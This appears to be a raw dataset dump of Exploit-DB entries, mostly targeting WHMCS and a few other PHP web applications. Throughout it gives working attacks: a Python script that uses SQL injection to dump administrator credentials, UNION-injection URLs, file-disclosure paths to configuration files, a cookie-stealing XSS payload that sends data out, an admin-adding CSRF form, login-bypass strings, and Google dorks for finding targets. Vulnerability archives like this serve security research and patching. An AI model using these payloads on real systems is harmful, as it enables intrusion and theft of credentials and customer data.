deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17999
Description: WHMCompleteSolution (WHMCS) 3.x < 4.0.x - 'cart.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2011-10-19
Author: Lagripe-Dz & Mca-Crb

Exploit:
# Title      : WHMCompleteSolution (cart.php) Local File Disclosure
# Author     : Lagripe-Dz
# Product    : WHMCS ( WHMCompleteSolution )
# Vendor     : http://whmcs.com/
# Date       : 10/01/2011
# Version    : 3.x.x , 4.0.x
# Tested on  : linux+apache

================================================================

Vuln file: cart.php
---------

Vuln code:
---------

if ( $a == "add" )
{
   $templatefile = "configureproductdomain";
    ....etc
}

if ( $a == "login" )
{
    $templatefile = "login";
    ....etc
}
 ...
outputClientArea( $templatefile, $nowrapper );
# outputClientArea function will display
"./templates/orderforms/cart/{$templatefile}.tpl"


Details :
---------

if variable "$a" has a true value .. will set "$templatefile" value by
default
but when "$a" value didn't match the defaults values
you can control "$templatefile" and use it as ( File Disclosure )


Proof of Concept :
------------------

http://domain.tld/[PATH]/cart.php?a=[wrong_value]&templatefile=[LFD]%00

http://domain.tld/[PATH]/cart.php?a=test&templatefile=../../../configuration.php%00


note* : show the page source to see Disclosure file.

Solution :
----------

the vendor Notificate
update to the last version

================================================================

Greetz To All www.Sec4ever.com Members.
Exploit-DB #37971
Description: WHMCompleteSolution (WHMCS) 4.5.2 - 'googlecheckout.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-10-22
Author: Starware Security Team

Exploit:
source: https://www.securityfocus.com/bid/56173/info

WHMCS (WHM Complete Solution) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WHMCS 4.5.2 is vulnerable; other versions may also be affected. 

#Proof of Concept : 

<html>
<head>
<title>WHMCS Blind SQL Injection POC</title>
</head>
<body>
<script>
var params = "<charge-amount-notification><google-order-number>0' %YOUR INJECTION HERE% -- -</google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>";
    var http = new XMLHttpRequest();
 try {
        netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
    } catch (e) {
        alert("Permission UniversalBrowserRead denied.");
    }
    http.open("POST", "http://site.com/whmcs/modules/gateways/callback/googlecheckout.php", true);
    http.onreadystatechange = handleResponse;
    http.send(params);
function handleResponse() {

  if(http.readyState == 4 && http.status == 200){
    var response = http.responseText;
alert(response);
    }
  }  
</script>
</body>
</html>
Exploit-DB #37338
Description: WHMCompleteSolution (WHMCS) 5.0 - 'KnowledgeBase.php?search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-31
Author: Shadman Tanjim

Exploit:
source: https://www.securityfocus.com/bid/53740/info
 
WHMCS is prone to a cross-site scripting vulnerability and multiple HTML-parameter-pollution vulnerabilities because it fails to properly sanitize user-supplied input.
 
Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, control how the page is rendered to the user, and override existing hard-coded HTTP parameters which compromises the application.
 
WHMCS 5.0 is vulnerable; other versions may also be affected.

http://www.example.com/knowledgebase.php?action = [XSS]
Exploit-DB #37337
Description: WHMCompleteSolution (WHMCS) 5.0 - Cross-Site Request Forgery (Multiple Application Function)
Type: webapps
Platform: php
Date: 2012-05-31
Author: Shadman Tanjim

Exploit:
source: https://www.securityfocus.com/bid/53740/info

WHMCS is prone to a cross-site scripting vulnerability and multiple HTML-parameter-pollution vulnerabilities because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, control how the page is rendered to the user, and override existing hard-coded HTTP parameters which compromises the application.

WHMCS 5.0 is vulnerable; other versions may also be affected.

http://www.example.com/cart.php?a=add&domain=transfer&n913620=v992636

http://www.example.com/domainchecker.php?search=bulkregister&n946774=v992350

http://www.example.com/cart.php?currency=2&gid=1&n972751=v976696
Exploit-DB #28807
Description: WHMCompleteSolution (WHMCS) 5.2.7 - SQL Injection
Type: webapps
Platform: php
Date: 2013-10-08
Author: localhost.re

Exploit:
#!/usr/bin/env python
# 2013/10/03 - WHMCS 5.2.7 SQL Injection
# http://localhost.re/p/whmcs-527-vulnerability

url = 'http://clients.target.com/' # wopsie dopsie
user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php
user_[CREDENTIAL_REDACTED]' 

import urllib, re, sys
from urllib2 import Request, urlopen
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

def exploit(sql):
	print "Doing stuff: %s" % sql
	r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read()
	return re.search(r'(id="firstname" value="(.*?)")', r).group(2)

def login():
	print "Getting CSRF token"
	r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))
	csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2)
	cookie = r.info()['set-cookie'].split(';')[0]
	print "Logging in"
	r = urlopen(Request('%sdologin.php' % url, data="username=%s&[CREDENTIAL_REDACTED]=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()
	if 'dologin.php' in r:
		sys.exit('Unable to login')
	else:
		return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)]

user = login()
print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins
print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients

# oh you want to be evil
#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)
Exploit-DB #29065
Description: WHMCompleteSolution (WHMCS) 5.2.8 - SQL Injection
Type: webapps
Platform: php
Date: 2013-10-19
Author: g00n

Exploit:
# Exploit Title: WHMCS 5.2.8 SQL Injection
# Google Dork: "powered by WHMCS"
# Date: 10/18/2013
# Exploit Author: g00n ( Xploiter.net )
# Vendor Homepage: http://www.whmcs.com/
# Software Link: http://www.whmcs.com/
# Version: 5.2.8
# Tested on: Windows, Linux

Vulnerable file: /includes/dbfunctions.php

POC:

select_query() function is vulnerable due to Register Globals

Example:

/whmcs/viewticket.php

POST: tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#


Have fun!
Exploit-DB #12371
Description: WHMCompleteSolution (WHMCS) control (WHMCompleteSolution) - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-24
Author: Islam DefenDers

Exploit:
#=Info=======================================================================#
# Software: WHMCS control (WHMCompleteSolution)  Sql Injection                                                #
#                                                                                                                                       #
# Vulnerability: Remote Sql Injection                                                                                         #
# Google Dork: Powered by WHMCompleteSolution - or "  inurl:WHMCS                                            #
# Off. site: www.MiXaTy.com                                                                                                  #
#============================================================================#


#=Author==============================================#
# Author: Islam DefenDers                                                            #  
# Date: 24.04.2010                                                                     #
# Contact:  email: hackereg@hotmail.com                                       #
#====================================================#

#=Sql Injection===========================================================================================================================================================#
# Exploit: http://site/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,message,6,7,8,9,10 from tbltickets--%20                                      
# DOWNLOAD : http://www.whmcs.com/                                                                                                                                     
# Live demo: http://ste/support/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,username,6,7,8,password,10 from tbladmins--%20                 
#=========================================================================================================================================================================#


#=Greetz==================================#
#  IsLam DefenDers Mr.HaMaDa                               #
#=======================================#

HaMaDa SCoOoRPioN - DR.B@HY - MiXaTy TeaM - Islam DefenDers TeaM

site: www.mixaty.com

E: hackereg@hotmail.com
Exploit-DB #12481
Description: WHMCompleteSolution (WHMCS) Control 2 - 'announcements.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-02
Author: Islam DefenDers

Exploit:
Software: WHMCS control 2  Sql Injection             
                                                                         
Vulnerability: Remote Sql Injection                                      
Google Dork: Powered by WHMCompleteSolution - or "  inurl:WHMCS   or'     announcements.php   
Off. site: www.MiXaTy.com                                               


Author
Author: Islam DefenDers                            
Date: 2.5.2010                                   
Contact:  email: hackereg@hotmail.com             


Sql Injection
Exploit: http://site/announcements.php?id=1' and 1=0 union all select 1,2,concat(email,0x3d,password),username,5 from tbladmins--                                        
DOWNLOAD : http://www.whmcs.com/                                                                                
Greetz
IsLam DefenDers Mr.HaMaDa 


HaMaDa SCoOoRPioN 

site: www.mixaty.com

E: hackereg@hotmail.com
Exploit-DB #24934
Description: WHMCompleteSolution (WHMCS) Group Pay Plugin 1.5 - 'grouppay.php?hash' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-08
Author: HJauditing Employee Tim

Exploit:
#######################################################################

Tile:      WHMCS grouppay plugin SQL Injection <= 1.5
Author: HJauditing Employee Tim
E-mail: Tim@HJauditing.com
Web:    http://hjauditing.com/
Plugin: http://kadeo.com.au/design-and-development/whmcs-dev/whmcs-modules/72-group-pay.html

#######################################################################

============
Introduction
============

We have found a SQL injection inside the group pay plugin for WHCMS.
A lot of game hosting companies are using this plugin.
SQL Injection is in the function gp_LoadUserFromHash.

============
Exploits
============

- SQL Injection
grouppay.php?hash=%hash%' and '1'='1

============
Code SQL Injection
============

/modules/addons/group_pay/functions_hash.php
function gp_LoadUserFromHash($hash) {
    //Kill the Dashes
    $hash = str_replace ( "-", "", $hash );
    $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
    if($result){
        $row = mysql_fetch_row ( $result );
        return $row [0];
    }else{
        return false;   
    }
}

============
Fix
============

/modules/addons/group_pay/functions_hash.php
function gp_LoadUserFromHash($hash) {
    //Kill the Dashes
    $hash = str_replace ( "-", "", $hash );
    $hash = mysql_real_escape_string($hash);
    $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
    if($result){
        $row = mysql_fetch_row ( $result );
        return $row [0];
    }else{
        return false;   
    }
}

#######################################################################﻿
Exploit-DB #18088
Description: WHMCompleteSolution 3.x/4.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-07
Author: ZxH-Labs

Exploit:
$b0x#  WHMCS ( WHMCompleteSolution )  3.x / 4.x  Multiple Vulnerability !
$b0x#  ZxH-Labs
$b0x#  1st-NOV-11
$b0x#  Www.Sec4ever.coM 
$b0x#  WH-03 On Windows IIS 6.0

========================================================
b0x@1337b0x:/b0x/Exploits/WebAPP# whoami
ZxH-Labs | Www.Sec4ever.coM
b0x@1337b0x:/b0x/Exploits/WebAPP# cat WH-03.XPL

EXPL Type : Local File Disclosure
              
Files : Submitticket.php , Downloads.php

       -> I: submitticket.php?step=[Unknown Value]&templatefile=../../../../../../../../../boot.ini%00
             EX : submitticket.php?step=b0x&templatefile=../../../../../../../../../boot.ini%00

       ->II: downloads.php?action=[Unknown Value]&templatefile=../../../../../../../../../boot.ini%00
            EX : downloads.php?action=b0x&templatefile=../../../../../../../../../boot.ini%00


b0x@1337b0x:/b0x/Exploits/WebAPP#
b0x@1337b0x:/b0x/Exploits/WebAPP#  cat WH-03.bug

Bug TYPE : Local File Include
Bug File : Reports.php

             -I : reports.php?report=[LFI]%00
                EX : admin/reports.php?report=../../../../../../../boot.ini%00
           
               You Can Use This Bug When You Get Forbidden Access In Lux Symlink !
            However You Can Make Stealer into "/tmp" Directory With EXT .htm And The Full ISSUE Will Be
                  -FI : admin/reports.php?report=../../../../../../../tmp/b0x.htm%00
              And Don't Forget To Use IFRAME With Evil Code'z =))


b0x@1337b0x:/b0x/Exploits/WebAPP# Logout
========================================================
$b0x# Greet'z 2 T0R0B0XHACKER | X-Shadow | Sec4ever |  TNT_HACKER | r1z | Tw1st3r | S4S
Cyb3r-1st | Red Virus | I-Hmx | h311 c0d3 | TacticiaN  | Th3MMA | FreeMan(LY) | Ma3stro_DZ
Mr.L4iv3  And All Q8'z 

./b0x
Exploit-DB #10493
Description: WHMCompleteSolution CMS - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-16
Author: Dr.0rYX & Cr3W-DZ

Exploit:
                                                    ALGERIAN HACKER
  **********************- NORTH-AFRICA SECURITY TEAM -***********************

[!]            WHMCompleteSolution CMS sql Injection Vulnerability
[!] Author    : Dr.0rYX and Cr3w-DZ
[!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de

***************************************************************************/

[ Software Information ]

[+] Vendor : http://www.siamhostserver.com/whmcs/
[+] script   : WHMCompleteSolution CMS
[+] Download : http://www.siamhostserver.com/whmcs/ (sell script)
[+] Vulnerability : php SQL injection
[+] Dork :inurl:"weblink_cat_list.php?bcat_id="

**************************************************************************/
[ Vulnerable File ]

http://server/weblink_cat_list.php?bcat_id=[N.A.S.T ]

[ Exploit ]

http://server/weblink_cat_list.php?bcat_id=-1+UNION+SELECT+1,GROUP_concat(id,0x3a,username,0x3a,password),3,4+from+user


[  GReets ]

[+] :CLAW , le0n , HIS0K4 , WWW.exploit-db.com , ALL HACKERS MUSLIMS
Exploit-DB #38166
Description: WHMCS 5.0 - Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2012-12-31
Author: Agd_Scorp

Exploit:
source: https://www.securityfocus.com/bid/57145/info

WHMCS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks.

WHMCS 5.0 and 5.1 are vulnerable; other versions may also be affected. 

http://www.example.com/whmcs/admin/login.php?correct&cache=1?login=getpost{}
Exploit-DB #35129
Description: Who's Who Script - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2014-10-31
Author: ZoRLu Bugrahan

Exploit:
# Title        : Who's Who Script CSRF Exploit (Add Admin Account)
# Author       : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home         : http://milw00rm.com / its online
# Date         : 30.10.2014
# Demo		   : http://demo.phpscriptlerim.com/free/whoswho/
# Download1	   : http://www.phpscriptlerim.com/download/indir.php?id=14
# Download2	   : https://yadi.sk/d/C8eQcvUeJjeZ2
# Thks         : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
# Note		   : I write exploit for adminsave.php but other file has a vuln in /yonetim/plugins folder.
				 You can write exp. for other files.
# Vulnerable   : ayarsave.php, uyesave.php, slaytadd.php, slaytsave.php
# Not Vuln     : uyedel.php and slaytdel.php file's not vulnerable for CSRF. Because session control available to files

<head>
	<meta http-equiv="content-type" content="text/html; charset=utf-8" />
	<title>Who's Who Script CSRF Exploit (Add Admin Account)</title>
</head>

<body>

<div id="main">


	<div id="cols" class="box">

		<hr class="noscreen" />

		<div id="content" class="box">
			<h1>Admin Panel</h1>
			<br>
<br><br>
						<form method="post" action="http://localhost/filepath/yonetim/plugin/adminsave.php">
						<label><b>Username:</b></label><br>
						<input type="text" size="40" name="username" value="admin" class="input-text" /><br><br>
					
						<label><b>Password:</b></label><br>
						<input type="text" size="40" name="password" class="input-text" /><br><br>

						<input type="submit" class="input-submit" name="gonder" value="Save" />
						</form>
						
			<br><br>
		</div>

	</div>

	<hr class="noscreen" />

	<div id="footer" class="box">

		<p class="f-left">© Coded by ZoRLu</p>

		<p class="f-right"><a href="http://milw00rm.com" target="_blank">milw00rm.com</a></p>

	</div> 

</div>

</body>
</html>
Exploit-DB #25875
Description: Whois.Cart 2.2.x - 'profile.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-23
Author: Elzar Stuffenbach

Exploit:
source: https://www.securityfocus.com/bid/14044/info

Whois.Cart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/whoiscart/profile.php?page=%3Cbody+onload%3Ddocument.forms%5B0%5D.submit%28document.cookie%29%3E%3Cform+name%3Dform1+action%3Dhttp%3A%2F%2Fwww.example.com%2F%7Evic%2Ftest.php%3E%3C%2Fform%3E%3C%2Fbody%3E
Exploit-DB #10812
Description: WHOISCART - Scripting
Type: webapps
Platform: php
Date: 2009-12-30
Author: HAQIQ20

Exploit:
############################################################################

# #

### WHOISCART Scripting Vulnerability ###

# #

#############################################################################

# email : v7a@hotmail.fr<mailto:v7a@hotmail.fr> & r0ot@live.ru<mailto:r0ot@live.ru> #

# Author : HAQIQ20 #

# group : Avengers Team #

# HOME : http://whoiscart.net #

# #

# Dork : "inurl:whoiscart/admin/hostinginterfaces/" #

# #

#############################################################################

# #

# Exploit : #

# #

# http://server/whoiscart/admin/hostinginterfaces/cpanel_1_log.htm #

#

# Greetz.: Cyb3r IntRue + inject

#############################################################################
Exploit-DB #7941
Description: WholeHogSoftware Password Protect - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-02
Author: ByALBAYX

Exploit:
#############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :Password Protect

[~]Site     :http://wholehogsoftware.com

[~]Price    :$20.00

[~]Detay    :http://www.wholehogsoftware.com/index.php/page/password_protect_enhanced
#############################################
[~]....


[~]Admin Path :http://c4team.org / [Password Protect_PATH] /admin/



[~]Username   : ' or '1=1



[~]Password   : ' or '1=1



[~]Demo       :http://www.wholehogsoftware.com/demo/password_protect_enhanced/admin


[~]....   vs..
#############################################
[~]iSiNiZE BAqIN :=)

[~]Greetz For C4TEAM Members

[~]Bir insan Hakkinda Ne Kadar Bilgin Varsa O kadar Yorum Yap...   ;=)
#############################################
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
----------

# milw0rm.com [2009-02-02]
Exploit-DB #7952
Description: WholeHogSoftware Password Protect - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-02-03
Author: Stack

Exploit:
###########################################################################
[+] WholeHogSoftware Password Protect Insecure Cookie Handling Vulnerability
[+] Script   :Password Protect
[+] Site     :http://wholehogsoftware.com
[+] Detay    :http://www.wholehogsoftware.com/index.php/page/password_protect_enhanced
[+] Discovered By Mountassif Moad   
              
[+] www.v4-team.com            
       
[+] Greetz : All my Freind
###########################################################################
Exploit:
javascript:document.cookie = "adminid=8; path=/";
DeMo :
http://www.wholehogsoftware.com/demo/password_protect_enhanced/admin

# milw0rm.com [2009-02-03]
Exploit-DB #7940
Description: WholeHogSoftware Ware Support - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-02
Author: ByALBAYX

Exploit:
#############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :Ware Support

[~]Site     :http://wholehogsoftware.com

[~]Price    :$20.00

[~]Detay    :http://wholehogsoftware.com/index.php/page/ware_support
#############################################
[~]....


[~]Admin Path :http://c4team.org / [Ware Support_PATH] /admin/



[~]Username   : ' or '1=1



[~]Password   : ' or '1=1



[~]Demo       :http://www.wholehogsoftware.com/demo/support/admin/


[~]....   vs..
#############################################
[~]iSiNiZE BAqIN :=)

[~]Greetz For C4TEAM Members

[~]Bir insan Hakkinda Ne Kadar Bilgin Varsa O kadar Yorum Yap...   ;=)
#############################################
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
----------

# milw0rm.com [2009-02-02]